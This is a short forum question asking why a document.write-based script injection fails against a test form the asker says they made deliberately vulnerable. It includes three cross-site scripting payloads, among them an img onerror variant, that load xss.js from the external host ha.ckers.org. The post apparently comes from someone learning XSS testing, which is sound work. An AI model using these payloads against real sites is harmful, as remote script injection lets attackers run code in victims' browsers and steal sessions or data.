title: load external javascript in the syntax
body: <p>How do i load an external <code>.js</code> script using this syntax?:</p>
  
  <p><code>&lt;script&gt;document.write('&lt;script src=http://ha.ckers.org/xss.js&gt;&lt;/script&gt;')&lt;/script&gt;</code>.</p>
  
  <p>For all those wondering, i setup a test form i made purposely vulnerable but i couldn't get this to launch and yes i know :</p>
  
  <p><code>&lt;script src=//ha.ckers.org/xss.js&gt;&lt;/script&gt;</code> </p>
  
  <p>Could easily work but i'm just trying to figure out how i could do it using document.write.</p>
  
  <p>Thanks to anyone who is able to help me.
  //Edit
  Why doesn't this work?
  <code>&lt;img src=x onerror=document.write('&lt;script src="http://ha.ckers.org/xss.js"&gt;&lt;\/script&gt;')&gt;</code></p>